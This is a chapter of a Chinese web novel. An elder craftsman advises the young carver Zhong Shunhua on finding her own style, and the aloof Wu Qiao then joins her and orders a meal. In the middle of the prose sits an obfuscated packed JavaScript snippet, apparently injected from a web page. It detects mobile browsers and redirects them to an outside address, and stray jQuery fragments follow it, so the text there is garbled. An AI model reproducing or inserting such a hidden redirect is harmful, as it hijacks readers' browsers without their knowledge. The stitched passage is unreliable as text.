茶楼临窗的雅座清静，推开雕花木窗，还能看见楼下小巷里金黄的梧桐树。


    跑堂小二上了两盏君山银针，茶汤清亮，热气袅袅。


    贺行老抿了口茶，放下茶盏，目光落在钟舜华身上，少了先前在会馆里的威严，多了几分长辈的慈和。


    “舜华丫头，你今日做的那口薄棺，老夫看了，心里也只有一个‘服’字。”他见她对这些茶具并不熟悉，体贴地替她分了茶，“分给你的木料次了些，甚至算得上粗劣，老夫估摸着，怕是有人在从中捣鬼……”


    钟舜华隐约猜到几分，但也没随意说出口。


    “董天翔。”贺行老冷哼一声，直言不讳，“你以后防着他些，此人最是心眼小。不过——好在你争气，那口棺接缝之严密，形制之规整，已经远超那些几十年的老匠人。这手艺，是老天爷赏饭吃，旁人羡慕不来。”


    钟舜华被夸得有些不好意思，双手捧起茶盏轻轻抿了一小口：“行老爷爷过奖了，我就是手熟。”


    “手熟？”贺行老摇头，“手熟只能做出工整的物件，做不出那等韵味来。”他顿了顿，搁下茶盏，话锋微转，“不过，你那棺盖上刻的缠枝莲纹……倒让老夫看出些旁的东西。”


    钟舜华知道雕刻不是自己的长项，坐直了些：“请行老爷爷指点。”


    “谈不上指点，只是说说老夫的看法。”贺行老手指蘸了点茶水，在深漆的桌面上浅浅画了几道，“你看，你这莲花瓣的走势和叶脉的曲折，虽然尽力模仿你父亲的手法，力求相像，却总显得……有些束缚。就好比一个半大孩子，明明身段灵活，能跑能跳，却偏要学着大人的模样一步步慢行，结果反而放不开手脚，落得个四不像。”


    钟舜华缓缓点头。


    贺行老看向她，一双历经沧桑的老眼显得深邃：“雕刻一道，虽说是匠艺，但到了高处，便与作画无异。作画，讲究的是胸中有丘壑，下笔如有神，而不是对着画谱，一笔一划地硬摹。雕刻也是如此，花纹是死的，工匠是活的。你既然手上功夫这般灵巧，何不照你自己的心意去走刀？哪怕一开始走得歪些野些，那也是你自己的东西，总强过一辈子跟在别人身后模仿。”


    钟舜华听得认真，眉头却拧作一团。贺行老的话，她似懂非懂，云里雾里。


    贺行老看出她的茫然，也不急，从怀中取出一张折叠整齐的宣纸，在桌上缓缓展开：“你看这个。”


    纸上是一幅拓印的山水图，墨色清晰。


    远处的山峦是浅浅的淡影，近处嶙峋的怪石却墨色浓厚，几根硬朗的松枝斜在柔软如缎带的流水上，一股特有的意境扑面而来。


    “这是从你那堂兄做的燕几上拓下来的。”贺行老抖了抖画纸，语气带着惋惜，“这个帮他作弊之人，品质是低劣了些，但单论这刻工的技艺与意境……老夫却要说句公道话，比你强上不少。这也是为何，我们几人一看，就知那不是你堂兄那种毛头小子能刻出来的。此人刀法已自成一派，线条行云流水，布局也疏密有致，没什么匠气死板之感。你看这水纹的走向，这山石的皴法……若非他胸中有真山水，刀下有硬功夫，根本不可能做出如此佳刻。”


    钟舜华早在比试时就知道，这绝不会是钟文斌刻出的东西。但此时就着贺行老的点评细看，才体会到其中精妙。


    那些山石的纹理，似乎能摸到上头的凹凸，那流水的波纹，仿佛能听见泠泠的水声。就像……她找不到合适的词形容，就像自己真的身处山水之间一般。


    “我明白行老爷爷的意思了。”她抬起头，眼神清澈，“这画……这刻，真好。比我刻的那些死板的花叶子好多了。”


    贺行老欣慰点头：“你刻的并不算差，现下又能看明白什么是好，便是有悟性。只是……”他叹了口气，“灵气是最不好把控之物，还是得早日形成自己的流派，万不可再照猫画虎了。”


    贺行老说的这些话，都是肺腑之言。可却也只对那些行业顶尖之人有用，如钟家这样家道中落的小作坊，又哪里能有什么流派呢？


    钟舜华笑了笑，坦荡中带着一丝无奈的豁达：“行老爷爷，我跟您说实话吧。我就是个没怎么念过书的野丫头，前些年还是个痴傻儿，脑袋空空，最近才算清明些。字都认不全呢，更别说作什么画，懂什么意境了。我能依样画葫芦，把看到的花纹刻得像模像样，全凭手熟和一股子笨力气。您说的那些什么‘丘壑’，‘自己的心意’……我这儿，”她指了指自己的心口，“好像还是空空的，根本不知该如何落刀。”


    她说得直白，没有自怜自艾，只是陈述事实。贺行老闻言，怔了怔，看着眼前姑娘明亮中却带着些许懵懂的眼睛，心中那点惜才的遗憾愈发浓重起来，终是化作一声悠长的叹息。


    “是老夫想当然了。”他摇摇头，语气温和，“书画一事，光有灵气还不够，还得家境优渥，自幼熏陶，博览群书，游遍大好河山，才能一点点滋养出来。你家的境况……唉，是老夫苛求了。”他是真觉得可惜，这般巧手，如果再配上更广阔的眼界与学识，将来的成就，恐怕不可限量。


    钟舜华也不觉得难堪，只抿唇笑了笑，没说话。


    沉默片刻，贺行老灵光一现，忽又抬眼，提议道：“不过，舜华丫头，路并非只有一条。你自己虽画不出来，却未必不能做出有灵气的物件。”


    钟舜华眼睛微微一亮。


    “你可以去找那些会画的人。”贺行老道，“请他们为你设计图样。你依着好图样来做，借他人心中的‘丘壑’，来展现你自己的手艺。只要作画之人与雕刻之人足够默契，两者结合，未必不能出彩。京城之中，擅画者多如牛毛，虽大多是清高之辈，但也不乏需要银钱周转的文人画师。只是……”他顿了顿，“与读书人打交道，一方面，润笔费恐怕不菲，另一方面，也要费些心思交游。”


    钟舜华听完，脸上却不见愁容，反而扬起一个信心十足的笑容：“这个法子好！谢谢行老爷爷指点！等我家铺子开起来，挣了钱，我就去寻那画得最好的人，买最好看的图纸！”


    她的话带着一股子天真的笃定，好像挣钱买画是一件再简单不过的事。贺行老被她的乐观豁达感染，不由也笑了起来：“好，难得后生有你这样的志气！只是，不求最好，但求最合适。老夫等着，看你刻出让人眼前一亮的物件来。”


    “一言为定！”钟舜华笑得眼睛亮晶晶。


    不多时，贺行老家中的仆役寻到茶楼，在他耳边低语几句。


    贺行老微微皱眉，抬眼看了眼老仆，起身朝钟舜华告别：“舜华丫头，老夫家中有些琐事，先行一步。”


    钟舜华赶紧站起来行礼相送。


    贺行老走到门口，又回头，指了指桌上那张拓印的山水图：“这图你留着吧。在再观摩观摩他的刀法，体会体会意境，对你而言或有裨益。若日后在技艺上有什么疑惑，欢迎来府上寻老夫。”


    “谢谢行老爷爷！”钟舜华真心实意地道谢，目送老人离开。


    雅座内安静下来。


    钟舜华重新坐下，将拓印图移到面前，就着窗外透入的晚霞，细细地看。她的手指无意识地描着画上的线条，全神贯注，连手边那盏凉透的茶都忘了。


    看得入神时，旁边忽然伸过来一只手。


    手指修长白皙，骨节匀称，指尖透着浅淡的粉，指甲修剪得圆润干净。就这样猝不及防地，从她眼前一闪而过，抽走了她手中的画纸。


    “啧，”一道磁沉的声音在身侧响起，慵懒中带着挑剔，“山形僵滞，水纹死板，这画的什么糟心山水？难看。”


    钟舜华先是一愣，猛地抬头，眼睛倏地亮了：“邬峤？！”


    不知何时出现的邬峤站在桌旁，一改初见时华丽的风格，只穿了一身月白的素锦袍，外罩同色纱氅衣。满头珠翠不再，及腰墨发只用了一根简单的白玉簪半束，少了些秾丽，多了几分清雅疏离。只是那精致的眉眼，依旧夺人心魄。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921335|192433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小圆抱着个暖手炉，乖巧地立在他身后半步，正偷偷朝钟舜华眨眼睛：“漂亮娘子~”


    “小圆！”钟舜华惊喜地想起身，“你们怎么在这儿？”


    邬峤十分自然地在她对面的空位坐下，随手丢开那张被他批得一无是处的山水图：“出来逛逛，透透气。”他懒洋洋扫过钟舜华面前剩下的半盏茶，“怎么一个人在这儿发呆？茶都凉了。”


    “哦，刚才和行会里一位长辈说事儿来着。”钟舜华老实回答，目光却不由自主地被小圆顺手放在桌边的食盒吸引。


    食盒的用料和花色十分讲究，缝隙间隐隐散发出一股淡淡的甜香。钟舜华的狗鼻子立刻闻出，是糕点。


    香气不依不饶地往她鼻子里钻，下一刻，一连串清脆的“咕噜”声响起，在安静的雅座里格外清晰。


    钟舜华脸上一热，有些窘迫地捂住肚子。这会儿才想起，忙了一整天，还没来得及吃饭呢。


    邬峤一愣，眉梢微动，眼底掠过一丝极淡的笑意。他抬手，将那盒糕点往钟舜华面前推了推：“喏。”


    小圆在一旁微微睁大了眼睛。


    钟舜华看着那近在咫尺的诱人的糕点，咽了下口水，徒劳摆手：“不用不用，我……我不饿。”


    话音刚落，肚子又叫了一声。


    邬峤撑着额头失笑，漫不经心地揭开食盒：“我尝过了，不好吃，你要不要，不要就扔了喂狗。”说罢，作势就要喊小圆把东西扔出去。


    小圆生无可恋地翻了个白眼。不爱吃，方才为何要让她排整整一个时辰的队去买！


    “别！我吃！”钟舜华连忙按住他的手，看到里边花瓣状的粉嫩点心，眼睛都挪不开了。她顶着邬峤笑意莫名的目光，拿起一块，迫不及待咬了一口。


    香甜软糯的口感在口中化开，她满足地眯了眯眼：“好吃啊，哪里不好吃？扔了多可惜，浪费粮食！”


    邬峤“嗤”一声，抽回手，道了声“吃货”，抿了抿微微发干的唇面，顺手取过钟舜华手边的茶盏，浅啜了一口冷茶。


    小圆这会儿真是如遭雷击，忍不住拔高声音：“公子！你……”


    邬峤皱眉，瞥了她一眼。


    小圆立刻收声：“婢子疏忽，这就去叫人上茶。”


    钟舜华奇怪地看向对面二人，看不明白，又埋头苦吃。


    邬峤撑着下巴看她，忍不住吐槽：“没吃相。”


    钟舜华头也不抬：“出门在外，都是朋友，不必讲究那些虚的。”


    “哦？朋友？”邬峤手上一顿，目光落在她唇边沾着的糕点屑上，指尖无意识地点了点杯壁，未置可否。


    新茶上桌，小圆低着头，余光在两人之间转了又转，忽而“嘿嘿”一笑。


    邬峤放下茶盏，指腹在杯口轻蹭了蹭，没喝新上的茶，又瞥了小圆一眼。


    小圆立刻会意，收敛笑容，一脸严肃地再次转身唤来跑堂小二，让人将桌上刚上的茶具收拾干净。


    “捡你们这儿拿手的菜，上个几道。”邬峤吩咐完，瞥了眼那埋头苦吃的蛮牛，又补上一句，“分量做得足些。”


    小圆这下嘴角都要裂到后脑勺了。公子平日饮食最是挑剔，而且时常胃口不佳，何曾在意过饭菜分量足不足？她忍不住又瞟了钟舜华一眼，才应声去安排。


    不一会儿，几道热气腾腾的菜肴摆了上来。清蒸鲈鱼、荸荠狮子头、鸡汁春笋、一道时令鲜蔬，并一大盅佛跳墙。算不上铺张奢靡，但对寻常人家而言，也是极为丰盛了。


    “吃。”邬峤拿起筷子，惜字如金。


    钟舜华看着满桌佳肴，又犹豫起来。先前贺行老结账时，茶楼伙计那声“承惠二两六钱银子”她可是听见了。几杯茶都那么贵，这会儿这满满一桌菜，岂不是更贵？她虽馋，却不想白占别人这么大便宜。


    “让你吃便吃。”邬峤夹了一筷子鲈鱼，放入她面前的小碟，抬眼瞧她，“怎么，怕我付不起账？”